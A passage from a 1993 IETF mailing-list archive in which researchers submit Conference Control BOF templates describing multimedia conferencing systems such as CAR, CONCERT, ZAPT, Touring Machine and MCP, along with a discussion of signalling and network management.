	the conferencing application is used only for the demonstration of
	network management techniques, which is the aim of the project. THus
	the conferencing system will not be used "in service" as part of the 
	project, but this is planned for both the depatment at UCL and the
	CEC MICE project, using the same system. 

   - formality of meetings
	The demo's in PREPARE are based on groups of engineers working closely
	together using shared CAD packages. Floor control is "free for all".

   - demand for quality of service
	Floor control will be request by the user in qualitative term through
	the conferencing application. The aim in PREPARE is that the 
	QoS is then supplied by the network management system.


5. Architecture assumptions: 

   - distributed vs centralized model
	The software model is essentially centralised, relying on a single
	conference server. However there is no central hub or video 
	distribution site, so for the purposes of demonstrating interaction
	with the network management, the conferencing system is distributed.
	We are working generally towards making the software truely 
	distributed. 

   - system component(s) responsible for conference control
	The central conference server process is responsible for conference
	control. Each particpant runs a conference control application that
	provides a user interface to the facilities offered by the server.

   - degree of homogeneity in end-system capabilities 
	currently the system runs only on SPARCstations, however use of
	H.261 encoding allows interworking between workstation with either
	hardware or software CODECs

   - multicast integration
	multicast used for audio and video transmission, though  mulitcast
	may not be implemented in all parts of the PREPARE tesbed.

   - directory services
	X.500 directory services will be available through network management
	services

   - support for quality of service
	implemented through network management services

6.a How do you define conference control?  
	by the following functions:
		- creating a conference
		- joining a conference
		- leaving a conference
		- browsing existing conferences
		- including an application in a conference
		- removing an application from a conference
		- requesting and receiving the floor

6.b Conference control functionality supported.
	see 6.a

6.c Other control functions you would like to support.
	- floor control by chairperson
	- separate floor control for different media

7. Conference control protocol details: 

  - explicit vs implicit setup
	explicit set-up by user by named participants and included 
	application only
  - interconnectivity of participants
	through conference server
  - state sharing
	ditto
  - robustness
	conference server obvious weak point
  - scaling properties
	limited by capabilities of machine running conference server

8. Hardware/software platforms.  
	SPARCstation, 
	SunOS,
	requires IP multicast and SUN RCP or ANSA RCP

9.a What specifically has or has not been implemented?
	All conference control mentioned is implemented and well tested
	over local and wide area Internet.
	Interface to network management, QoS control and testing over
	PREPARE testbed not yet performed

9.b What was unexpectedly easy or difficult to implement?
	Use of ANSA for RCP mechanism was found to weigh down the rest
	of the system, hence change to SUN RCP

9.c What might you change as a result?
	We hope to evolve the system to be fully distributed, with
	conference control communication over multicast

10. If available, a couple of suggested readings about your work
    on confctrl.

The following are available anonymous ftp from uk.ac.ucl.cs in directory
car:

collab_write.ps.Z
  Multimedia Conferencing as a Tool for Collaborative Writing: A Case Study
    - S. Baydere et al, 1991

complexity.ps.Z
  Coping with complexity and interference: design issues in multimedia
  conferencing systems - M.A.Sasse, M.J.Handley & N.Ismail, 1992

inet92.ps.Z
  Multimedia Conferencing: from prototype to national pilot
    - Mark Handley and Steve Wilbur, 1992

janetvid.ps.Z
  Some Multimedia Traffic Characterisation Results
    - Crowcroft et al, 1992





----- End Included Message -----


From J.Crowcroft@cs.ucl.ac.uk  Tue Mar 23 15:19:14 1993
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.65+local-8)
	id <AA07729>; Tue, 23 Mar 1993 07:19:40 -0800
Message-Id: <199303231519.AA07729@venera.isi.edu>
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03756-0@bells.cs.ucl.ac.uk>; Tue, 23 Mar 1993 15:19:20 +0000
To: confctrl, rem-conf@es.net
Subject: Re: Confctrl
In-Reply-To: Your message of "Mon, 22 Mar 93 23:46:51 PST." <199303230746.AA00835@elm.isi.edu>
Date: Tue, 23 Mar 93 15:19:14 +0000
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >Agenda for the Conference Control BOF (confctrl)

Such Distributed Systems will soon be torn apart by internal
contradictions if the revolution is not in time!

1. In the Prepare Project, we are trying to a management system for 
build a Virtual Private Network. This is a distributed system that
spans many management domains (called customer premises networks,
public networks and others), VPN MIS. It then hides the internals of
the private and public networks, and provides a single service access
point for signalling, management etc Our test application is
Multimedia Conferencing.

2. In MICE, we are trying to build distributed access to a centralised
Conference Management and Multiplexing Centre (CMMC), with a unified
interface to "segment managers" each of which need to be setup to
build the paths from source to destination sets of users.

However, according to 1, you dont get any paths at all until the management has
been asked to set them up, while 2 would view the control paths as present,
even if the data (e.g. video/audio) ones aren't yet, so the CMMC can
set them up....

i.e. we have a deadly embrace - the distributed net managers can only find 
out what paths to create if the distributed application tells them.
THe distributed application can only build its paths if it can find
out the path attributes required by other members of the distributed 
conferences... but it can't see them to ask them!

One solution is to permit low bandwidth control traffic i.e. the
'signalling channel' MUST be open all the time, and must carry modest
amounts of distributed applciation information between peer entities
in the conferencing system AS WELL AS management information...

However another solution that we hope to follow in the later stages of PREPARE,
but have already started on (re:COOPARE), is off loading some of the 
conferencing  system functionality onto the VPN. Initially by incorporating 
what is  currently in the CAR directory service as VPN services, 
i.e. registration of users and endpoints. 
This then could be expanded to include information on the
capabilities of the multimedia equipment and applications at each workstation
(in some common representation) to ensure connections with suitable QoS 
are established (the VPN will already know about network resources). 

The plan is for the creating user to request the conference be established
with media quality specified in freindly terms, e.g. "full speed monochrome
video" or "CD quality audio", or more likely in categories that the user
quickly become used to, e.g, high, medium, low quality. This then sets bounds
within which the VPN tries to supply the best QoS bearing in mind (processor?)
what is available as both network resources and workstation capabilities.

Another view of this paradox is that the B-ISDN community is
telco/connection-obsessed while the Internet community isn't:-)

comments...

cheers
jon

coming soon - the public src release of the Car Meta-Conferencing System!
watch this space.

From schooler  Wed Mar 24 01:58:35 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA17915>; Wed, 24 Mar 1993 09:58:43 -0800
Date: Wed, 24 Mar 1993 09:58:35 -0800
From: schooler
Posted-Date: Wed, 24 Mar 1993 09:58:35 -0800
Message-Id: <199303241758.AA02313@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA02313>; Wed, 24 Mar 1993 09:58:35 -0800
To: confctrl
Subject: Re: Template for confctrl BOF
Cc: rem-conf@es.net


----- Begin Included Message -----

From gong@concert.net Tue Mar 23 14:27:36 1993
From: Fengmin Gong <gong@concert.net>
Subject: Re: Template for confctrl BOF
To: schooler@ISI.EDU
Date: Tue, 23 Mar 1993 17:27:04 -0500 (EST)
Cc: gong@concert.net (Fengmin Gong), stevenso@concert.net (Dan Stevenson),
        drescher@concert.net (Jack Drescher)

Eve,

First a few comments on the WG description.

* You explicitly mentioned  the scalability goal, what about the
ineroperability goal.  I think to the degree that conference sites
/participants should be able to talk about their conferencing
capability using a standard "alphabet", interoperability needs to
be a goal and is relevant to confctrl.

* You did indicate the relevant WG's to confctrl, but I wonder where
should the work of specifying the multimedia conferencing architecture
go?  I think we by default have an understanding of what pieces are
there, but a clear definition of their functions and interfaces is
needed to coordinate the whole development well.  Is the architectural
steering group a regular WG and going to address this issue? What is 
your thought on this?

Thanks,
Fengmin

		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

CONCERT Video Network Migration
MCNC project

2. Contact person, affiliation and e-mail address.

Fengmin Gong
MCNC Center for Communications
3021 Cornwallis Road
RTP, NC 27709

Email: gong@concert.net
Phone: 919 248-9214
FAX:   919 248-1405

3. Target operating environment and key design considerations:

   - WAN vs LAN 

	CONCERT is a state-wide WAN,
	North Carolina has plan to deploy ATM state wide
	MCNC has currently an ATM LAN and an FDDI LAN

   - digital vs analog media

	Existing analog video network
	Digital video uses CLI Rembrandt II (H.261) over dedicated link
	Packet video development uses:
	* Rembrandt II
	* XVideo (JPEG)
	* Bart (Sun's prototype capture board) & software compression
	* SPARCstation built-in audio

   - the kinds of collaborative media used in your system 
     (e.g., real-time audio, video, animations, landsat images) 
	
	* real-time audio & video
	* shared computer-supported working space

   - packet technology vs ISDN

	Packet switching using "enhanced" IP and IP/ATM.

   - room-to-room vs desktop conferencing
	
	Support both room-based and desktop conference and
	allow participants with desktop capability and the
	conference-room facility to be in one conference
	session.

4.a Type of conference styles supported by your system/protocol.

	Consider minimum styles:

	* Lecture style (such as teleclass in CONCERT)
	* Organized presentation type such as a small workshop,
	  the key is the presence of a chair for floor control
	* Brain storming session, absent of explicit chair

4.b Profile of user community: 

   - expertise level 
	mixture of computer experts and novices
   - formality of meetings
	mostly formal, people who used to the CONCERT video conf.
   - demand for quality of service
	the overall QoS should be comparable to the current
	CONCERT net:
	* support color
	* at least close to 10 fps (CIF equivalent size image)

5. Architecture assumptions: 

   - distributed vs centralized model
	* Early on centralized control (switching) due to the
	underlying link configuration
	* Goal is to provide decentralized control.

   - system component(s) responsible for conference control

   - degree of homogeneity in end-system capabilities 
	* short-term allows H.261 based hardware & software
	compression capabilities
	* JPEG compression capability
	* long-term supports for negotiating among many, eg,
	H.261, NV, and cellB (used in Bart).

   - multicast integration

	Interface will be in place to use multicast service
	from "enhaced" IP when available.

   - directory services

	Look to X.500 based directory service to support remote
	conferencing as one type of services.

   - support for quality of service

	Mechanisms will be in place for processing QOS request,
	there will be no guarantee until the underlying network
	provides resource reservation and management.

6.a How do you define conference control?  

	Conference control is the function that coordinates among
	the conference users, multimedia agents (including
	hardware and software), directory servers, and underlying
	networks (maybe transport mechanism) to provide a set of
	conferencing services.

6.b through 10 are not applicable.


----- End Included Message -----


From schooler  Wed Mar 24 02:02:41 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA18212>; Wed, 24 Mar 1993 10:02:49 -0800
Date: Wed, 24 Mar 1993 10:02:41 -0800
From: schooler
Posted-Date: Wed, 24 Mar 1993 10:02:41 -0800
Message-Id: <199303241802.AA02319@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA02319>; Wed, 24 Mar 1993 10:02:41 -0800
To: confctrl
Subject: Re: Confctrl BOF at upcoming IETF
Cc: rem-conf@es.net


----- Begin Included Message -----

From jack@cwi.nl Wed Mar 24 02:30:48 1993
To: schooler@ISI.EDU
Subject: Re: Confctrl BOF at upcoming IETF 
Organisation: Multi-media group, CWI, Kruislaan 413, Amsterdam
X-Last-Band-Seen: Amazin Blazin Windmills (Kroeg, 14-3)
X-Mini-Review: Entertainment!
Date: Wed, 24 Mar 1993 11:30:26 +0100
From: Jack Jansen <Jack.Jansen@cwi.nl>



    
    		    Conference Control BOF Template
    		    -------------------------------
    
    1. Name of project, program and/or protocol.
    	The (internal) name of the project is simply 'Meeting'.
    
    2. Contact person, affiliation and e-mail address.
        Jack Jansen
	CWI, Kruislaan 413, Amsterdam, the Netherlands
	jack@cwi.nl
    
    3. Target operating environment and key design considerations:

        Current experiments are all done over an IP LAN. We attempt to
	make this dependence minimal, though, and will probably start
	experimenting with WANs shortly. Upto recently the emphasis
	has been on media handling, but conference control is getting
	more and more attention.

	The previous incarnation of the program was a monolithic
	one, but it is now being split into media handlers and a
	control application. This should theoretically also allow use
	of different communication channels for different media.
    
    4.a Type of conference styles supported by your system/protocol.

        Currently we support closed conferences of 2-5 members, but
	one of the plans with the separate control module is to allow
	different control modules with different policies.
    
    4.b Profile of user community: 

        No experiments with novice users have been done yet, our
	current users are all computer professionals. Meetings are
	informal, there are no facilities for floor-control, etc.
	Meeting scheduling is done through outside means.
    
    5. Architecture assumptions: 

        For the current closed meetings we use a centralized model (A
	conference control module that is more geared towards large
	meetings (informal 'chatbox' style) will probably use
	distributed algorithms). Conference control uses a simple TCP
	protocol to manage the conference, media communication uses IP
	multicast whenever possible. Current experiments are done on
	SGI Indigi only, but heterogeneity is a design goal (a
	previous version worked on Suns as well).
	
    6.a How do you define conference control?
        Managing sessions, both from a user point of view (multiple
	sessions per user) as from a system point of view (multiple
	users with different hardware capabilities and bandwidth in a
	single conference).
    
    6.b Conference control functionality supported.

        Very little: basic conference setup, join, leave. Checking is
	done to make sure that all participants are still actually
	there. (well, their machines, that is:-) Users can add media
	(like live video) to the conference.
    
    6.c Other control functions you would like to support.

        More dynamic media addition will be added shortly, as will be
	more control over which users get which mediastreams, and in
	what format. Merging of conferences (usually a multi-person
	conference and a single point-to-point conference) will also
	be added shortly. Scheduling and invitation handling are
	also wanted but will have to wait a while.
    
    7. Conference control protocol details: 

        Conference control is currently explicit, with a single
	participant (the initator) keeping the 'master copy' of the state
	information and all other participants having shadow copies of
	this. Media streams that can tolerate loss are sent
	distributed, others (screen snapshots, etc) are currently sent
	centralized. The conference control rptocol should probably
	scale up to 20 members or so. The other loose conference
	control we want to do will be distributed and should scale a
	lot further.
    
    8. Hardware/software platforms.
        In principal heterogenous, but the current implementation is
	confined to SGI Indigi. Previous versions ran on Suns as well.
    
    9.a What specifically has or has not been implemented?

        A fair amount of work has been put into a reasonable user
	interface: you get cute photographs of everyone with a little
	light showing who's doing the talking. If your machine has
	live video input your picture is replaced by a 2-4 fps video.

	We have specifically not done anything in the area of floor
	control. We feel that, for groups of this size, this is a
	social issue, not a technical one.
    
    9.b What was unexpectedly easy or difficult to implement?

        A lot of work has gone into echo supression and silence/speech
	detection. We now have something that works fairly well most
	of the times.

	We found it pretty difficult to come up with a control
	mechanism that would work fine with the whole spectrum of
	conferences, from small closed meetings to large, mainly
	one-to-many presentations to large, many-to-many, chatbox
	meetings.
    
    9.c What might you change as a result?

        We're treating the different conference styles as wholly
	separate issues. We'll need some sort of communication between
	different style meetings (like what do you do when you merge a
	tightly-controlled conference into a loosely controlled one)
	but we feel this should be solvable.
    
    10. If available, suggested readings about your work on confctrl.

        Nothing published yet. I have an 8-page document describing
	all the mistakes I made and the problems I came across that I
	can send to interested parties. It is mainly on media
	handling, though, and the conference control part is already
	pretty outdated.
--
Jack Jansen        | If I can't dance I don't want to be part of
Jack.Jansen@cwi.nl | your revolution             -- Emma Goldman
uunet!cwi.nl!jack    G=Jack;S=Jansen;O=cwi;PRMD=surf;ADMD=400net;C=nl


----- End Included Message -----


From schooler  Wed Mar 24 02:01:51 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA18154>; Wed, 24 Mar 1993 10:01:59 -0800
Date: Wed, 24 Mar 1993 10:01:51 -0800
From: schooler
Posted-Date: Wed, 24 Mar 1993 10:01:51 -0800
Message-Id: <199303241801.AA02316@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA02316>; Wed, 24 Mar 1993 10:01:51 -0800
To: confctrl
Subject: Re: Template and bibliography for confctrl BOF
Cc: rem-conf@es.net


----- Begin Included Message -----

From touch@ISI.EDU Tue Mar 23 19:04:42 1993
Date: Tue, 23 Mar 93 19:04:36 -0800
From: touch@ISI.EDU
To: schooler@ISI.EDU
Subject: Re: Template and bibliography for confctrl BOF
Cc: touch@ISI.EDU, postel@ISI.EDU



		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.
	ZAPT - Zoned Analog Personal Teleconferencing
	(extension of Bellcore's Touring Machine system)

2. Contact person, affiliation and e-mail address.
	Joe Touch
	USC/Information Sciences Institute
	touch@isi.edu

3. Target operating environment and key design considerations:
	LAN focus (can extend to MAN)
	analog media
	personal teleconferencing (live video), also ASCII text ('talk')
	uses UDP messages for control
	desktop teleconferencing
	supports 1:1 and M:M (M<=4) teleconferencing, and 1:N broadcast
	uses passive analog hardware for bridging and mixing
	uses Bellcore's Touring Machine (V 2), with custom extensions
	developed for the NeXT workstation
	Main design consideration was to implement desktop video
	teleconferencing quickly, using existing software, for the NeXT.

4.a Type of conference styles supported by your system/protocol.
	supports 1:1 and M:M (M<=4) teleconferencing, and 1:N broadcast
	supports only small conferences or medium-sized broadcasts.
	requires group consensus (all-or-nothing behavior)
	supports explicit response or automatic-accept authorization

4.b Profile of user community: 

	Novice users supported via simple GUI, but expert system maintenance
		required at this time.
	Meetings informal (telephone model - call, and see if they answer)
	No reservations.
	Quality-of-service demand is high, but trivially supported in analog.

5. Architecture assumptions:

	Centralized system - one database, one resource manager, etc.
	Conference control performed by components at all levels, but
	orchestrated by a single module dynamically created for each session. 

	Assumes end-system homogeneity (i.e., analog A/V, UDP packets).
	No multicast (analog bussing of A/V performs signal 'multicast')
	All users are currently preregistered, but dynamic reg. allowed.
	Current directory does not 'advertise' sessions, or call-back on
	database entry changes. Bellcore's version 3 implements both these
	services using Oracle.
	No quality-of-service supported.

6.a How do you define conference control? 

	Multiparty multilayer protocol management, i.e., the control of
	N-way extensions of 1:1 connections in the number-of-participants
	domain and the number-of-connections domain. 


6.b Conference control functionality supported.
	sessions config. is broadcast or multipoint (latter includes 1:1)
	session config. can limit to any subset of audio, video, data (ASCII)
	membership controlled by session members - add, delete, hangup
	member joins supported at ISI by 'callback'
	members can suspend/resume a session (receiver control only)
	members can be in many sessions, but active in only 1 at a time

6.c Other control functions you would like to support.
	- join (supported in Touring Machine V3)
	- best-effort setup (v.s. all-or-nobody)
	- merge conferences
	- multidomain capability (embeddable/recursive/heirarchical control)

7. Conference control protocol details: 

	Tightly-controlled model, implicit setup and teardown.
	A user selects among a preregistered set to call.
	Call setup is all-or-nothing; if any user is not active, or
	refuses the request, the call aborts.
	Control is managed by a dynamically created module, that acts 

	on behalf of the session once created. There is no distinguished
	owner/creator once a session is active. The module disappears when
	the session disappears. 

	State information is broadcast to the members of a conference, 

	when a member enters or leaves, or even activates or deactivates
	a session.
	State information is kept in various places; no synchroization of
	state (or resynchronization) is available.
	The control does not scale, and does not embed (support recursion, 

	i.e., conference within a conference, or conference control 

	maintained by a set of control modules).
	Participants are assumed to have N:N interconnection in the control
	path. 

	The system is not robust. It performs timeout-failsafe on UDP message
	loss, but does not retry. System components do not support 

	warm-restart.

8. Hardware/software platforms.  

	Bellcore's system developed for Sun-3, Sun-SPARC.
	Currently ported to NeXT OS 3.0.
	X11R4 GUI's.
	U**x BSD compatability required.
	NeXT implementation requires X11 emulation (co-Xist software).
	Requires analog audio and video I/O (camera, monitor, speaker, mic)
	 - only monitor function is performed by NeXT computer (NeXTDimension
	   board displaying NTSC 24-bit video).
	Uses analog crossbar audio and video switch (with serial control)
	Uses passive analog video bridge (Panasonic).
	Uses passive analog audio bridge (TEAC TASCAM).

9.a What specifically has or has not been implemented?
	We have implemented non-proprietary bridging (multiparty support) via 

	a modification of the Touring Machine model. We have also developed
	a radio client (broadcast with remote join), even though joins are 

	not implemented in our version of the base software. The radio
	client is implemented as a call-back - a user calls the radio,
	it refuses the call, and the radio adds the user to its existing
	(continuous) broadcast session.
	We are also implementing a remote proxy feature, supporting 

	internal or external bridging. This is performed by intercepting
	UDP packets, and modifying their contents, so as to give the 

	Touring Machine the impression of single-domain operation.

9.b What was unexpectedly easy or difficult to implement?
	Reimplementing bridging (multiparty) was easy. Bellcore's 

	implementation used an underlying preexisting testbed for
	intelligent bridging control. Instead of emulating that
	environment, we implemented bridging by rewriting the bridge
	control module as a 'null' control device, and changing the
	model definition of a 'bridge'. Instead of considering a
	bridge (a combination/distribution entity) as a special case
	of a LINK, we considered it a NODE.
	This experience emphasizes how something difficult can be
	easy if the abstraction is changed, and emphasizes my
	interest in a complete and general abstract model of
	multiparty multimedia communication, regardless of whether
	it's first version is VERY abstract.
	Similarly, developing a remote proxy originally entailed 

	rewriting the resource manager and control system. Instead,
	we decided to implement a method of virtualizing the environment,
	so that the end components were aware of the names across the
	domain barriers, but the control components were not. The result
	requires only simple packet translators.

9.c What might you change as a result?
	We ported and extended Bellcore's Touring Machine, and used
	the event as an opportunity to learn about different
	conference control schemes. One thing that was apparent was that
	the notion of a multiparty multimedia conference was ill-defined.
	Another was that the models of the implementations were incompatable.
	We are currently developing an abstract model that reduces to MMCC
	and the Touring Machine (with ISI extensions or without) as specific
	cases
	The model, currently coined "M3" (a Multiparty, Multilayer Model), 

	will take the following issues as design goals:
		simplicity
		generalizability
		reducibility to existing models and implementations
		self-similarity (embeddability, i.e., supporting recursion)

10. If available, suggested readings about your work on confctrl.
	A description of the M3 model is currently under development.	



----- End Included Message -----


From abel@thumper.bellcore.com  Wed Mar 24 10:22:14 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.65+local-8)
	id <AA25808>; Wed, 24 Mar 1993 12:22:19 -0800
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA15544> for confctrl@ISI.EDU; Wed, 24 Mar 93 15:22:16 EST
Received: by able.bellcore.com (5.57/4.7)
	id AA02376; Wed, 24 Mar 93 15:22:15 -0500
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed, 24 Mar 1993 15:22:14 -0500 (EST)
Message-Id: <MfgA=qu0M2ULFCKVIZ@thumper.bellcore.com>
Date: Wed, 24 Mar 1993 15:22:14 -0500 (EST)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject:  Confctrl template for Touring Machine project

		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

	Touring Machine Project

2. Contact person, affiliation and e-mail address.

	Abel Weinrib
	Bellcore (Network Systems Research Dept.)
	abel@bellcore.com

3. Target operating environment and key design considerations:

The Touring Machine project is studying the design and realization of a
robust software control infrastructure that enables a broad class of
multimedia communications applications.  Through its applications
programming interface, the Touring Machine platform supports
abstractions that shield an application designer from the details of
routing, resource allocation, presentation control, session control and
network and system management, and provides useful services such as
access to directories containing both static  and dynamic system
information, authentication, security, and session negotiation.

Currently, the Touring Machine platform is the basis for several
communications tools, including the CRUISER (TM) service and shared data
applications based on the RENDEZVOUS (TM) system.  The CRUISER service
is a multimedia communications application designed to support informal
communications among  remotely located co-workers, as well as
participation in seminars through a "virtual auditorium" service.  The
Touring Machine platform also supports mobile users, using active badges
from Olivetti Research Labs, Cambridge. 

The current realization of the system controls analog audio and video
switches within two Bellcore locations, with analog audio and video
hardware on about 150 users' desktops.  While unsophisticated in terms
of transport technology, this choice allows the support of a large and
active user population, and has allowed our effort to be concentrated on
developing the software infrastructure and multimedia applications.  The
two locations are connected by H.261 codecs operating on a T1 circuit. 
Control messages and "data" media streams are carried over Bellcore's
Internet.  Ongoing enhancements include the addition of integrated
packet transport of all media types.  There are also plans to create a
version of the current system accessible via ISDN.

The next iteration of system design is currently underway.  It addresses
system structuring principles for extensible, open, managed systems, as
well as expanding the functionality of the API. The design borrows
heavily from the architectural principles of Bellcore's INA project; the
system is designed as a distributed object-oriented system based on
trading.  Research continues in the areas of reliability, extensibility,
support for hybrid analog/digital fabrics,  interworking across multiple
administrative domains, safeguards for an "enterprise model" allowing
third-party service providers, and integrated systems management,
including fault management and accounting. 


4.a Type of conference styles supported by your system/protocol.

The Touring Machine session protocol supports controlled multimedia
conferences, with separate control over the media used.  One user
initiates the session, inviting others to join.  Once established,
additional users may be invited to join, and current members may leave. 
The session allows the setting of various policies regarding addition of
new members to the conference and changing of other session state such
as the transport topology.  For instance, one session policy allows any
user to join a session without action required on the part of the
current members; another specifies that only the initiator may initiate
changes.  Multicasting of talks from conference rooms, with browsing of
a list of the available conferences by a user, is also supported.

4.b Profile of user community: 

 Various applications have been built on the Touring Machine platform. 
The CRUISER(TM) application is currently being used on a day-to-day
basis by about 150 people within Bellcore spread over two locations. 
The application supports multiparty, multimedia conferencing, and
connection to seminars and other broadcast sources.  The application was
developed with significant thought being given to usability.  The users
are computer-literate, but expect the system to work without thought on
their part.  Within a location the media quality is excellent (an
advantage of using analog transport); between locations the quality of
the H.261 codecs, especially regarding roundtrip delays, is not so good.

The current system supports impulse calling from a user's desktop; no
advanced reservation is required (or allowed).  Thus, it is used most
often for spontaneous conversations rather than for formal meetings;
however, these conversations are often lengthy.  The lack of use for
formal meeting may also has something to do with a majority of the users
being in one location and the relatively poor quality of the audio and
video connecting the two locations.  (Bellcore's video window technology
also connects the two locations, and appears preferable for formal
meetings with multiple participants.)

5. Architecture assumptions: 

The Touring Machine platform sits above network transport, providing a
suite of useful services to the creators of multimedia communications
applications.  These services include authentication of users, a
directory service containing system information (such as the users of
the system and the current sessions in the system), a session service,
and others.  As such, the system model is quite network-centric, with a
significant role to be played by the Touring Machine infrastructure. 
The implementation of the system is distributed, in that the Touring
Machine software is structured as a set of distributed objects working
co-operatively to provide the services supported by the API.  The
current implementation allows for a single administrative domain;
extensions in progress aim to support multiple administrative domains,
with protocols between the domains to realize resource allocations and
directory services across the multiple domains.

The session service supports an abstract session object, which
encapsulates a control relationship among its members that is separate
from the topology of the actual media streams that make up the
communications.  Thus, a user may be a member of a session without being
involved in the media streams--for instance to control the conference. 
The session is the site of negotiation about the transport topology for
the communications, specified in an abstract manner.  In addition, the
session provides support for negotiation about session membership and
session policy such as who may find out about the session and who may
change the session's state.  

6.a How do you define conference control?  

I like Eve's definition:
	The management and coordination of multiple sessions, and
	their multiple users, in multiple media.  

6.b Conference control functionality supported.

A suite of services made available to the multimedia communications
application programmer by the Touring Machine platform.  These include:
- User authentication.
- (Simple) negotiation for initiating and changing session membership,
policies, and topologies for transport in multiple media.  
- The transport topology is specified using high level abstractions,
thus hiding the transport details from the applications programmer.
- A user may participate in multiple simultaneous sessions, limited only
by the resources they have available to display the media streams. 
Abstractions are provided to manage a user's network access resources to
allow independent suspending and resuming of multiple sessions.
- Access to directory service containing dynamic and static system state
information.
- Support for user mobility using active badge technology.

6.c Other control functions you would like to support.

More powerful control over the presentation of the media streams to the
user (i.e., the particular type of video bridging function).

7. Conference control protocol details: 

Set up is explicit through the session protocol between applications and
the Touring Machine system.  There is separation of membership in a
session from the definition of the actual transport topology for the
various media streams.  The transport topology is defined abstractly,
and can be quite general.  The state of a session is maintained by the
Touring Machine system; the session protocol allows applications to
maintain a view of the session state.

8. Hardware/software platforms.  

Various analog computer-controlled audio-video switches, bridges and mixers.
Touring Machine platform runs over UNIX(R) on Sun, DEC, and Next
workstations.  
The applications that have been written run on UNIX with X-windows(TM)
based GUIs.

9.a What specifically has or has not been implemented?

The current version of the system is fully operational and supports many
users on a day to day basis.  

9.b What was unexpectedly easy or difficult to implement?

The system is inherently asynchronous, with multiple users able to
initiate changes at any time to, e.g., the session state.  Thus, it is
impossible for application programs to maintain an exact view of the
state, and it is quite difficult for them to act appropriately in all
cases when their view is incorrect.

The Touring Machine platform controls a significant number of network
resources such as bridges and trunks.  Resource loss is a serious
concern, arizing from hardware and software faults and user actions
(such as killing off an application). Because the system is implemented
in a distributed fashion, recovery of lost resources is cumbersome.  The
next version of the system will include more fault tolerance, with an
emphasis on protocols that recover lost resources.

We have found supporting good quality multiparty audio, even in the
analog domain, to be troublesome.  While usable, it is not like being in
the same room--a relaxed multiparty conversation is not really possible.
 Also, between locations the delays introduced by the H.261 codecs leads
to noticeable and irritating echos.

9.c What might you change as a result?

The effort currently underway on designing the next version of the
system addresses some of the issues raised in 9b, as well as many others
associated with building an extensible, open, managed systems and with
expanding the flexibility and functionality of the API.

10. If available, suggested readings about your work on confctrl.

 "The Touring Machine System", Arango et. al., CACM January 1993.


From schooler  Wed Mar 24 06:18:55 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA02125>; Wed, 24 Mar 1993 14:19:03 -0800
Date: Wed, 24 Mar 1993 14:18:55 -0800
From: schooler
Posted-Date: Wed, 24 Mar 1993 14:18:55 -0800
Message-Id: <199303242218.AA02406@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA02406>; Wed, 24 Mar 1993 14:18:55 -0800
To: confctrl
Subject: Confctrl - Template
Cc: rem-conf@es.net


----- Begin Included Message -----

From @s.ms.uky.edu:lakshman@ms.uky.edu Wed Mar 24 14:01:12 1993
From: Lakshman K <lakshman@ms.uky.edu>
Date: Wed, 24 Mar 1993 16:42:53 EST
To: schooler@ISI.EDU
Subject: Confctrl - Template
Content-Length: 6189
X-Lines: 169

Eve,
	The last BOF identified two forms of control: Membership control
and media control. The protocol described in this template focuses on
media control. It could provide some answers to a session layer protocol.

- Lakshman
lakshman@ms.uky.edu

		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

      Multiflow Conversation Protocol (MCP) Suite

2. Contact person, affiliation and e-mail address.

      Raj Yavatkar, University of Kentucky,
      Dept. of Computer Science
      raj@dcs.uky.edu

3. Target operating environment and key design considerations:

    MCP consists of transport and session layer protocols designed to
    meet floor control and causal synchronization  needs of distributed
    Multimedia Collaborative  Applications.

    It is expected  to be used over LANs and WANs.

    Digital media.
 
    MCP provides two communication abstractions:

    - First, MCP provides a token based mechanism for concurrency control
    among participants of a  multipoint connection. A token  serves as an
    authorization for  transmission in a multipoint connection.
    Applications are free to exchange, replicate, and delete tokens to
    exercise flexible governance over the amount of concurrency control
    desired. 
 
    - Second, MCP includes a communication abstraction called a  multi-flow
    conversation to allow causal and temporal synchronization among
    traffic  over multiple independent streams. 

    Thus, the protocol performs the media control functions listed in the
    last BOF.

4.a Type of conference styles supported by your system/protocol.

    MCP enforces and provides the necessary mechanisms to implement
    different conference and floor control styles.

    Control may vary from a strict ``floor-based'' control (useful in
    conventional teleconferencing) at one  extreme, group discussions,
    the chalk-board metaphor, and  no control (as in shared window systems)
    at the other extreme.

4.b Profile of user community: 

    MCP is a protocol, hence to be used by application devolpers
    who need conversations, floor control, and causal synchronization.

5. Architecture assumptions: 

    MCP assumes the availability of an underlying network layer
    that supports  reservation and guarantees for real time data.
    The network layer could be FP (flow protocol), COIP, ST-II, or
    RSVP.

6.a How do you define conference control?  

6.b Conference control functionality supported.
  
6.c Other control functions you would like to support.

7. Conference control protocol details: 

    Applications can create multipoint flows, specify different token
    passing policies, and  QOS requirements for synchronization purposes.

    The main focus here is on token based floor control and synchronization.
    MCP provides calls to transfer, replicate, distribute, delete
    (capabilities)tokens. The token transfer semantics can be tailored to
    meet the needs of different  floor control policies. 

    The delivery requirements for various token packets are different.
    For instance, requests need to be delivered to all endpoints
    (unreliable multicast) while token transfers to one endpoint
    (reliable unicast).

    A "Conversation" consists of one or more data flows. Flows can be added
    or removed from conversations. The control is distributed.

    Once a conversation is established MCP provides casual synchronization
